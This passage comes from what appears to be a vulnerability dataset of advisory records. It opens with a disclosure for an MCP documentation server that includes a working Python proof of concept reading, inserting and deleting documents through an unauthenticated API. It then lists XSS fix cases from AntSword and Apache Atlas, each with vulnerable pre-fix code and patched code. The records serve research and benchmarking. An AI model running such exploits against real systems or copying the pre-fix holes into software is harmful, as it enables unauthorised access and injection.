\"http://$LAN_IP:3080/api/config\"\necho\n```\n\nObserved:\n\n```text\nLAN_IP=10.0.250.230\n{\"gemini_available\":false,\"embedding_model\":\"Xenova/all-MiniLM-L6-v2\"}\n```\n\nNo authentication header was sent.\n\n#### 5. Full unauthenticated document-admin PoC\n\n```bash\ncat > /tmp/docsrv_unauth_poc.py <<'PY'\n#!/usr/bin/env python3\nimport json\nimport sys\nimport urllib.request\nimport urllib.error\n\nHOST = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080\nBASE = f\"http://{HOST}:{PORT}\"\n\ndef req(method, path, body=None):\n data = json.dumps(body).encode() if body is not None else None\n headers = {\"Content-Type\": \"application/json\"} if body is not None else {}\n r = urllib.request.Request(f\"{BASE}{path}\", data=data, method=method, headers=headers)\n with urllib.request.urlopen(r, timeout=10) as resp:\n raw = resp.read().decode()\n try:\n return resp.status, json.loads(raw or \"null\")\n except Exception:\n return resp.status, raw\n\ndef main():\n print(f\"[poc] target = {BASE}\")\n print(\"[poc] no Authorization header is sent\")\n\n status, config = req(\"GET\", \"/api/config\")\n print(f\"[0] config: HTTP {status}, {config}\")\n\n status, docs = req(\"GET\", \"/api/documents\")\n print(f\"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}\")\n\n marker = \"ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\"\n body = {\n \"title\": \"network-inserted-test-document\",\n \"content\": marker + \"\\nThis document was inserted through the unauthenticated network API.\",\n \"metadata\": {\"source\": \"unauth-network-poc\"}\n }\n\n status, added = req(\"POST\", \"/api/documents\", body)\n print(f\"[2] add document: HTTP {status}, response={added}\")\n\n doc_id = None\n if isinstance(added, dict):\n doc_id = added.get(\"id\") or added.get(\"document\", {}).get(\"id\")\n\n if not doc_id:\n status, docs = req(\"GET\", \"/api/documents\")\n for d in docs:\n if d.get(\"title\") == \"network-inserted-test-document\":\n doc_id = d.get(\"id\")\n break\n\n if not doc_id:\n raise RuntimeError(\"could not locate inserted document id\")\n\n print(f\"[2] inserted id={doc_id}\")\n\n status, doc = req(\"GET\", f\"/api/documents/{doc_id}\")\n content = doc.get(\"content\", \"\") if isinstance(doc, dict) else str(doc)\n print(f\"[3] read document: HTTP {status}, marker_present={marker in content}\")\n\n status, hits = req(\"POST\", \"/api/search-all\", {\n \"query\": \"ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted\",\n \"limit\": 5\n })\n print(f\"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}\")\n\n status, deleted = req(\"DELETE\", f\"/api/documents/{doc_id}\")\n print(f\"[5] delete document: HTTP {status}, response={deleted}\")\n\n print(\"[poc] DONE\")\n\nif __name__ == \"__main__\":\n main()\nPY\n\nchmod +x /tmp/docsrv_unauth_poc.py\n```\n\nRun against localhost:\n\n```bash\npython3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://127.0.0.1:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\nRun the same PoC against the host's LAN IP:\n\n```bash\nLAN_IP=$(hostname -I | awk '{print $1}')\npython3 /tmp/docsrv_unauth_poc.py \"$LAN_IP\" 3080\n```\n\nObserved:\n\n```text\n[poc] target = http://10.0.250.230:3080\n[poc] no Authorization header is sent\n[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}\n[1] list documents: HTTP 200, count=0\n[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}\n[2] inserted id=ef13280d7441d5bb\n[3] read document: HTTP 200, marker_present=True\n[4] search-all: HTTP 200, response_prefix=\"[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\\\nThis document was inserted through the unauthenticated network API.'}]\"\n[5] delete document: HTTP 200, response={'success': True, 'message': 'Document \"network-inserted-test-document\" deleted'}\n[poc] DONE\n```\n\n#### 6. Cleanup\n\n```bash\nkill \"$DOCSRV_PID\" 2>/dev/null || true\nfuser -k 3080/tcp 2>/dev/null || true\nrm -rf /tmp/docsrv_base\nrm -f /tmp/docsrv_unauth_poc.py\nrm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log\n```\n\n### Impact\n\nThis is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.\n\nA network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:\n\n- reading document titles, previews, and full document contents;\n- searching across the entire document corpus;\n- inserting attacker-controlled documents into the corpus;\n- deleting documents;\n- tampering with the user's local knowledge base used by the MCP assistant.\n\nThis can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.\n\nThis is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints." commit = "37159d4e06b8ee50c3645b2496e3d3f6d32c47f9" cwe = "CWE-306" family = "access_control" function = "startWebServer" function_lines = [[24, 41]] id = "andrea9293-mcp-documentation-server-0913a4303cf82c9a" language = "typescript" method = "fix_site" parent = "06d28086dd3fe120978bfa4a49a0a93c7bba8449" path = "src/web-server.ts" post_fix = "export async function startWebServer(portArg?: number, sharedManager?: DocumentManager) {\n const PORT = parseInt(String(portArg || process.env.WEB_PORT || '3080'));\n const HOST = process.env.WEB_HOST || '127.0.0.1';\n\n// Middleware\napp.use(express.json({ limit: '50mb' }));\napp.use(express.urlencoded({ extended: true, limit: '50mb' }));\n\n// Serve static files from public directory\nconst publicDir = path.join(__dirname, '..', 'src', 'public');\nconst distPublicDir = path.join(__dirname, 'public');\n// Try dist/public first (production), fall back to src/public (dev)\n\nconst staticDir = existsSync(distPublicDir) ? distPublicDir : publicDir;\napp.use(express.static(staticDir));\n\n// Lazy document manager initialization (uses shared instance if provided)\nlet documentManager: DocumentManager | undefined = sharedManager;\n" pre_fix = "export async function startWebServer(portArg?: number, sharedManager?: DocumentManager) {\n const PORT = parseInt(String(portArg || process.env.WEB_PORT || '3080'));\n\n// Middleware\napp.use(express.json({ limit: '50mb' }));\napp.use(express.urlencoded({ extended: true, limit: '50mb' }));\n\n// Serve static files from public directory\nconst publicDir = path.join(__dirname, '..', 'src', 'public');\nconst distPublicDir = path.join(__dirname, 'public');\n// Try dist/public first (production), fall back to src/public (dev)\n\nconst staticDir = existsSync(distPublicDir) ? distPublicDir : publicDir;\napp.use(express.static(staticDir));\n\n// Lazy document manager initialization (uses shared instance if provided)\nlet documentManager: DocumentManager | undefined = sharedManager;\n" repo = "andrea9293/mcp-documentation-server" url = "https://github.com/andrea9293/mcp-documentation-server.git" [[case]] advisory = "GHSA-hq75-ggc3-8h3q" advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." commit = "4b932e81447b4b0475f4fce45525547395c249d3" cwe = "CWE-79" family = "output_encoding" function = "parse" function_lines = [[114, 143]] id = "antswordproject-antsword-0abdb762876f58b3" language = "javascript" method = "fix_site" parent = "e5230965f70908f4864afbcd1bc5765b429456f7" path = "source/modules/database/custom/index.js" post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: antSword.noxss(conf[_]['type'].toUpperCase()),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: conf[_]['type'].toUpperCase(),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" repo = "antswordproject/antsword" url = "https://github.com/AntSwordProject/antSword.git" [[case]] advisory = "GHSA-hq75-ggc3-8h3q" advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." commit = "4b932e81447b4b0475f4fce45525547395c249d3" cwe = "CWE-79" family = "output_encoding" function = "parse" function_lines = [[279, 307]] id = "antswordproject-antsword-4b97e82397da81ee" language = "javascript" method = "fix_site" parent = "e5230965f70908f4864afbcd1bc5765b429456f7" path = "source/modules/database/php/index.js" post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n text: antSword.noxss(`${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" repo = "antswordproject/antsword" url = "https://github.com/AntSwordProject/antSword.git" [[case]] advisory = "GHSA-hq75-ggc3-8h3q" advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." commit = "4b932e81447b4b0475f4fce45525547395c249d3" cwe = "CWE-79" family = "output_encoding" function = "checkprobe" function_lines = [[207, 273]] id = "antswordproject-antsword-98183d78558cfa95" language = "javascript" method = "fix_site" parent = "e5230965f70908f4864afbcd1bc5765b429456f7" path = "source/modules/database/index.js" post_fix = " checkprobe() {\n let that = this;\n let win = that.createWin({\n title: LANG['probedb']['title'],\n width: 350,\n height: 400,\n });\n const func_mapping = {\n // PHP\n 'mysql_close': 'MYSQL',\n 'mysqli_close': 'MYSQLI',\n 'mssql_close': 'MSSQL',\n 'sqlsrv_close': 'SQLSRV',\n 'ora_close': 'ORACLE',\n 'oci_close': 'ORACLE_OCI8',\n 'ifx_close': 'INFORMIX',\n 'sqlite_close': 'SQLite',\n 'pg_close': 'PostgreSQL',\n 'dba_close': 'DBA',\n 'dbmclose': 'DBM',\n 'filepro_fieldcount': 'FilePro',\n 'sybase_close': 'SyBase',\n }\n let grid = win.attachGrid();\n grid.clearAll();\n grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`);\n grid.setColTypes(\"ro,ro\");\n grid.setColSorting('str,str');\n grid.setColumnMinWidth(100, 50);\n grid.setInitWidths(\"*\");\n grid.setEditable(false);\n grid.init();\n win.progressOn();\n that.drive.core.request(\n that.drive.core.base.probedb()\n ).then((ret) => {\n if(ret['text'].indexOf(\"ERROR://\") > -1){\n throw res[\"text\"];\n }\n let _data = ret['text'].split('\\n');\n let data_arr = [];\n for (let i = 0; i < _data.length; i ++) {\n let item = _data[i].split('\\t');\n if(item.length<2){continue;}\n data_arr.push({\n id: i+1,\n data: [\n func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : antSword.noxss(item[0]),\n parseInt(item[1]) === 1 ? \"√\" : \"×\",\n ],\n style: parseInt(item[1]) === 1 ? \"background-color:#ADF1B9\": \"\",\n });\n }\n grid.parse({\n 'rows': data_arr\n }, 'json');\n toastr.success(LANG['probedb']['success'], LANG_T['success']);\n win.progressOff();\n }).catch((err)=>{\n win.progressOff();\n toastr.error(JSON.stringify(err), LANG_T['error']);\n });\n }\n}\n\n// export default Database;\nmodule.exports = Database;" pre_fix = " checkprobe() {\n let that = this;\n let win = that.createWin({\n title: LANG['probedb']['title'],\n width: 350,\n height: 400,\n });\n const func_mapping = {\n // PHP\n 'mysql_close': 'MYSQL',\n 'mysqli_close': 'MYSQLI',\n 'mssql_close': 'MSSQL',\n 'sqlsrv_close': 'SQLSRV',\n 'ora_close': 'ORACLE',\n 'oci_close': 'ORACLE_OCI8',\n 'ifx_close': 'INFORMIX',\n 'sqlite_close': 'SQLite',\n 'pg_close': 'PostgreSQL',\n 'dba_close': 'DBA',\n 'dbmclose': 'DBM',\n 'filepro_fieldcount': 'FilePro',\n 'sybase_close': 'SyBase',\n }\n let grid = win.attachGrid();\n grid.clearAll();\n grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`);\n grid.setColTypes(\"ro,ro\");\n grid.setColSorting('str,str');\n grid.setColumnMinWidth(100, 50);\n grid.setInitWidths(\"*\");\n grid.setEditable(false);\n grid.init();\n win.progressOn();\n that.drive.core.request(\n that.drive.core.base.probedb()\n ).then((ret) => {\n if(ret['text'].indexOf(\"ERROR://\") > -1){\n throw res[\"text\"];\n }\n let _data = ret['text'].split('\\n');\n let data_arr = [];\n for (let i = 0; i < _data.length; i ++) {\n let item = _data[i].split('\\t');\n if(item.length<2){continue;}\n data_arr.push({\n id: i+1,\n data: [\n func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : item[0],\n parseInt(item[1]) === 1 ? \"√\" : \"×\",\n ],\n style: parseInt(item[1]) === 1 ? \"background-color:#ADF1B9\": \"\",\n });\n }\n grid.parse({\n 'rows': data_arr\n }, 'json');\n toastr.success(LANG['probedb']['success'], LANG_T['success']);\n win.progressOff();\n }).catch((err)=>{\n win.progressOff();\n toastr.error(JSON.stringify(err), LANG_T['error']);\n });\n }\n}\n\n// export default Database;\nmodule.exports = Database;" repo = "antswordproject/antsword" url = "https://github.com/AntSwordProject/antSword.git" [[case]] advisory = "GHSA-hq75-ggc3-8h3q" advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." commit = "4b932e81447b4b0475f4fce45525547395c249d3" cwe = "CWE-79" family = "output_encoding" function = "parse" function_lines = [[129, 158]] id = "antswordproject-antsword-b0cec123d7799276" language = "javascript" method = "fix_site" parent = "e5230965f70908f4864afbcd1bc5765b429456f7" path = "source/modules/database/asp/index.js" post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: antSword.noxss(conf[_]['type'].toUpperCase()),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: conf[_]['type'].toUpperCase(),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" repo = "antswordproject/antsword" url = "https://github.com/AntSwordProject/antSword.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "function" function_lines = [[28, 925]] id = "apache-atlas-0ba0aadbe86a1987" language = "javascript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboardv2/public/js/views/search/SearchLayoutView.js" post_fix = "], function(require, Backbone, SearchLayoutViewTmpl, Utils, UrlLinks, Globals, Enums, VSearchList, CommonViewFunction, Modal) {\n 'use strict';\n\n var SearchLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchLayoutView */\n {\n _viewName: 'SearchLayoutView',\n\n template: SearchLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RSaveSearchBasic: \"[data-id='r_saveSearchBasic']\",\n RSaveSearchAdvance: \"[data-id='r_saveSearchAdvance']\",\n RRelationSearch: \"[data-id='r_relationshipSearch']\"\n },\n\n /** ui selector cache */\n ui: {\n searchInput: '[data-id=\"searchInput\"]',\n searchType: 'input[name=\"queryType\"]',\n searchBtn: '[data-id=\"searchBtn\"]',\n clearSearch: '[data-id=\"clearSearch\"]',\n typeLov: '[data-id=\"typeLOV\"]',\n tagLov: '[data-id=\"tagLOV\"]',\n termLov: '[data-id=\"termLOV\"]',\n refreshBtn: '[data-id=\"refreshBtn\"]',\n advancedInfoBtn: '[data-id=\"advancedInfo\"]',\n typeAttrFilter: '[data-id=\"typeAttrFilter\"]',\n tagAttrFilter: '[data-id=\"tagAttrFilter\"]',\n tablist: '[data-id=\"tab-searchlist\"] li',\n searchTabs:'[data-id=\"searchTabs\"]',\n searchTabBody:'[data-id=\"searchTabBody\"]',\n },\n\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.searchInput] = function(e) {\n var code = e.which;\n this.value.query = e.currentTarget.value;\n this.query[this.type].query = this.value.query;\n if (code == 13) {\n that.findSearchResult();\n }\n this.checkForButtonVisiblity();\n };\n events[\"change \" + this.ui.searchType] = 'dslFulltextToggle';\n events[\"click \" + this.ui.searchBtn] = 'findSearchResult';\n events[\"click \" + this.ui.clearSearch] = 'clearSearchData';\n events[\"change \" + this.ui.typeLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.tagLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.termLov] = 'checkForButtonVisiblity';\n events[\"click \" + this.ui.refreshBtn] = 'onRefreshButton';\n events[\"click \" + this.ui.advancedInfoBtn] = 'advancedInfo';\n events[\"click \" + this.ui.tablist] = function(e) {\n var tabValue = $(e.currentTarget).attr('role'),\n redirectionUrl = '#!/search';\n this.isRelationSearch = (tabValue === \"relationship-search\") ? true : false;\n if (this.isRelationSearch) {\n redirectionUrl = '#!/relationship';\n }\n Utils.setUrl({\n url: redirectionUrl,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events[\"click \" + this.ui.typeAttrFilter] = function() {\n this.openAttrFilter('type');\n };\n events[\"click \" + this.ui.tagAttrFilter] = function() {\n this.openAttrFilter('tag');\n };\n return events;\n },\n /**\n * intialize a new SearchLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'typeHeaders', 'searchVent', 'entityDefCollection', 'enumDefCollection', 'classificationDefCollection', 'businessMetadataDefCollection', 'searchTableColumns', 'searchTableFilters', 'metricCollection', 'classificationAndMetricEvent'));\n this.type = \"basic\";\n this.entityCountObj = _.first(this.metricCollection.toJSON()) || { entity: { entityActive: {}, entityDeleted: {} }, tag: { tagEntities: {} } };\n this.selectedFilter = {\n 'basic': [],\n 'dsl': []\n };\n this.filterTypeSelected = null;\n var param = Utils.getUrlState.getQueryParams();\n this.query = {\n dsl: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null\n },\n basic: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n tag: this.value ? this.value.tag : null,\n term: this.value ? this.value.term : null,\n attributes: this.value ? this.value.attributes : null,\n tagFilters: this.value ? this.value.tagFilters : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null,\n entityFilters: this.value ? this.value.entityFilters : null,\n includeDE: this.value ? this.value.includeDE : null,\n excludeST: this.value ? this.value.excludeST : null,\n excludeSC: this.value ? this.value.excludeSC : null\n }\n };\n if (!this.value) {\n this.value = {};\n }\n this.dsl = false;\n if (param && param.searchType) {\n this.type = param.searchType;\n this.updateQueryObject(param);\n }\n if ((this.value && this.value.type) || (this.value && this.value.tag && this.value.searchType === \"basic\")) {\n this.setInitialEntityVal = false;\n } else {\n this.setInitialEntityVal = true;\n }\n this.tagEntityCheck = false;\n this.typeEntityCheck = false;\n this.bindEvents();\n this.isRelationSearch = false;\n this.renderRelationshipSearchView();\n },\n renderSaveSearch: function() {\n var that = this;\n require(['views/search/save/SaveSearchView'], function(SaveSearchView) {\n var saveSearchBaiscCollection = new VSearchList(),\n saveSearchAdvanceCollection = new VSearchList(),\n saveSearchCollection = new VSearchList();\n saveSearchCollection.url = UrlLinks.saveSearchApiUrl();\n saveSearchBaiscCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n saveSearchAdvanceCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n var obj = {\n value: that.value,\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n fetchCollection: fetchSaveSearchCollection,\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection,\n getValue: function() {\n var queryObj = that.query[that.type],\n entityObj = that.searchTableFilters['entityFilters'],\n tagObj = that.searchTableFilters['tagFilters'],\n urlObj = Utils.getUrlState.getQueryParams();\n if (urlObj) {\n // includeDE value in because we need to send \"true\",\"false\" to the server.\n urlObj.includeDE = urlObj.includeDE == \"true\" ? true : false;\n urlObj.excludeSC = urlObj.excludeSC == \"true\" ? true : false;\n urlObj.excludeST = urlObj.excludeST == \"true\" ? true : false;\n }\n return _.extend({}, queryObj, urlObj, {\n 'entityFilters': entityObj ? entityObj[queryObj.type] : null,\n 'tagFilters': tagObj ? tagObj[queryObj.tag] : null,\n 'type': queryObj.type,\n 'query': queryObj.query,\n 'term': queryObj.term,\n 'tag': queryObj.tag\n })\n },\n applyValue: function(model, searchType) {\n that.manualRender(_.extend(searchType, CommonViewFunction.generateUrlFromSaveSearchObject({\n value: { \"searchParameters\": model.get('searchParameters'), 'uiParameters': model.get('uiParameters') },\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection\n })));\n }\n }\n that.RSaveSearchBasic.show(new SaveSearchView(_.extend(obj, {\n isBasic: true,\n collection: saveSearchBaiscCollection.fullCollection\n })));\n that.RSaveSearchAdvance.show(new SaveSearchView(_.extend(obj, {\n isBasic: false,\n collection: saveSearchAdvanceCollection.fullCollection\n })));\n\n function fetchSaveSearchCollection() {\n saveSearchCollection.fetch({\n success: function(collection, data) {\n saveSearchAdvanceCollection.fullCollection.reset(_.where(data, { \"searchType\": \"ADVANCED\" }));\n saveSearchBaiscCollection.fullCollection.reset(_.where(data, { \"searchType\": \"BASIC\" }));\n },\n silent: true\n });\n }\n fetchSaveSearchCollection();\n });\n },\n renderRelationshipSearchView: function() {\n var that = this;\n require(['views/search/RelationSearchLayoutView'], function(RelationSearchLayoutView) {\n that.RRelationSearch.show(new RelationSearchLayoutView(that.options));\n });\n },\n bindEvents: function(param) {\n var that = this;\n this.listenTo(this.typeHeaders, \"reset\", function(value) {\n this.initializeValues();\n }, this);\n this.listenTo(this.searchVent, \"entityList:refresh\", function(model, response) {\n this.onRefreshButton();\n }, this);\n this.classificationAndMetricEvent.on(\"classification:Update:Search\", function(options) {\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n that.value = Utils.getUrlState.getQueryParams() || {};\n if (!that.value.type) that.setInitialEntityVal = true;\n that.initializeValues();\n });\n },\n initializeValues: function() {\n this.renderTypeTagList();\n this.renderTermList();\n this.setValues();\n this.checkForButtonVisiblity();\n this.renderSaveSearch();\n if (this.setInitialEntityVal) {\n this.setInitialEntityVal = false;\n }\n },\n makeFilterButtonActive: function(filtertypeParam) {\n var filtertype = ['entityFilters', 'tagFilters'],\n that = this;\n if (filtertypeParam) {\n if (_.isArray(filtertypeParam)) {\n filtertype = filtertypeParam;\n } else if (_.isString(filtertypeParam)) {\n filtertype = [filtertypeParam];\n }\n }\n var typeCheck = function(filterObj, type) {\n if (that.value.type) {\n if (filterObj && filterObj.length) {\n that.ui.typeAttrFilter.addClass('active');\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n }\n that.ui.typeAttrFilter.prop('disabled', false);\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n that.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n var tagCheck = function(filterObj, type) {\n var filterAddOn = Enums.addOnClassification.filter(function(a) { a !== Enums.addOnClassification[0] });\n if (that.value.tag && !_.includes(filterAddOn, that.value.tag)) {\n that.ui.tagAttrFilter.prop('disabled', false);\n if (filterObj && filterObj.length) {\n that.ui.tagAttrFilter.addClass('active');\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n }\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n that.ui.tagAttrFilter.prop('disabled', true);\n }\n }\n _.each(filtertype, function(type) {\n var filterObj = that.searchTableFilters[type];\n if (type == \"entityFilters\") {\n typeCheck(filterObj[that.value.type], type);\n }\n if (type == \"tagFilters\") {\n tagCheck(filterObj[that.value.tag], type);\n }\n });\n },\n checkForButtonVisiblity: function(e, options) {\n var that = this,\n isBasicSearch = (this.type == \"basic\");\n if (e && e.currentTarget) {\n var $el = $(e.currentTarget),\n isTagEl = $el.data('id') == \"tagLOV\",\n isTermEl = $el.data('id') == \"termLOV\",\n isTypeEl = $el.data('id') == \"typeLOV\",\n select2Data = $el.select2('data');\n if (e.type == \"change\" && select2Data) {\n var value = (_.isEmpty(select2Data) ? select2Data : _.first(select2Data).id),\n key = \"tag\",\n filterType = isBasicSearch ? 'tagFilters' : null,\n value = value && value.length ? value : null;\n if (!isTagEl) {\n key = (isTermEl ? \"term\" : \"type\");\n if (isBasicSearch) {\n filterType = (isTypeEl ? \"entityFilters\" : null);\n }\n }\n if (this.value) {\n //On Change handle\n if (this.value[key] !== value || (!value && !this.value[key])) {\n var temp = {};\n temp[key] = value;\n _.extend(this.value, temp);\n // on change of type/tag change the offset.\n if (_.isUndefined(options)) {\n this.value.pageOffset = 0;\n }\n _.extend(this.query[this.type], temp);\n } else if (isBasicSearch) {\n // Initial loading handle.\n if (filterType) {\n var filterObj = this.searchTableFilters[filterType];\n if (filterObj && this.value[key]) {\n this.searchTableFilters[filterType][this.value[key]] = this.value[filterType] ? this.value[filterType] : null;\n }\n }\n\n if (this.value.type) {\n if (this.value.attributes) {\n var attributes = _.sortBy(this.value.attributes.split(',')),\n tableColumn = this.searchTableColumns[this.value.type];\n if 